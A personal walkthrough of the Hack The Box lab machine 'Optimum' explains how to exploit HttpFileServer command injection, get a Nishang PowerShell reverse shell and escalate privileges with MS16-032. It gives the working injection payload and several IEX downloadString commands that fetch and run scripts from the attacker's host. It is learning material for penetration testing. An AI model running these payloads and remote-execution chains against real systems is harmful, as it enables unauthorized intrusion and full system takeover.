For optimum, there are metasploit modules that you can run and exploits for privilege escalation using local exploit suggester. It's important to make sure that the correct architecture (x64) is used for the privilege escalation exploit to work. The exploit for priv sec is ms16_032.
(I also tried the exploitdb python script, but it did not work.)

The harder method (courtesy of Ippsec's video) is to manually exploit. The (unfamiliar / new) tools I learn about in this manual exploit include BurpSuite, nishang, Sherlock, powershellEmpire, and python's httpserver.

Exploitdb 34668 contains the details for the manual exploit. To test the code, we can do something like this to send a ping from the web server http://10.10.10.8:80/?search=00{.exec|ping 10.10.14.26.}. We then do tcpdump -i tun0 from our local machine. We also have to remember that the input must be url encoded; otherwise the command will not work. This is done by pressing ctrl+u in burpsuite. Activating burpsuite and using repeater allows us to try multiple execution commands.

Nishang is a framework with powershell scripts. The one I use for this exploit is Invoke-PowerShellTcp.ps1. I edit the code to make sure that the ip addresses are correct. I then spawn an http server with python (python -m SimpleHTTPServer). Using BurpSuite, I invoke the powershell that is on the web server with
/?search=%00{.exec|c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe ping 10.10.14.26.}
(after url encoding). This command uses the powershell executable on the webserver to ping our local machine to make sure that everything is working properly. With regards to the directory:
For 64 bit machines, the directory C:\Windows\System32 contains 32 bit libraries
C:\Windows\SysWow64 ← still 32 bit libraries
C:\Windows\SysNative ← 64 bit binaries

We then use their web server to execute the nishang powershell through our python server, which gives us a reverse shell.
This is an important command to remember:
IEX(New-Object
Net.Webclient).downloadString('http://10.10.14.26:8000/Invoke-PowerShellTcp.ps1').}
The command connects to our python server and uses the nishang powershell to create a connection from their web server to our listener and it will allow us to run commands from our terminal. Note: sometimes, the box can be unstable so the shell will be unstable. Using our shell, we can also find the vulnerabilities that exist on the machine: IEX(New-Object
Net.Webclient).downloadString('http://10.10.14.26:8000/Sherlock.ps1')
This command shows all the unpatched vulnerabilities that exist on the machine.

Using MS16032 as the privilege escalation exploit, we can try to find an exploit online. The powershell script on PowerShell-Suite would NOT be the right one to use because in the $CallResult method, it uses "\Windows\System32\cmd.exe" which requires an interactive session. However, we only have command prompt. Thus, we use the MS16032 powershell from PowerShell-Empire instead. The ms16 script works, but we need to modify it in order to get root user. We have to edit the script so that it creates a new shell for us, i.e. (1) in Invoke-MS16032.ps1, we add the line (calling the function Invoke-ms16032)
Invoke-MS16032.ps1 -Command "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.26:8000/shell.ps1')"
where shell.ps1 is our Invoke-tcp shell (or some variation of it). We then make the call to the ms16 script from our running tcp shell with IEX(New-Object Net.Webclient).downloadString('http://10.10.14.26:8000/Invoke-MS16032.ps1').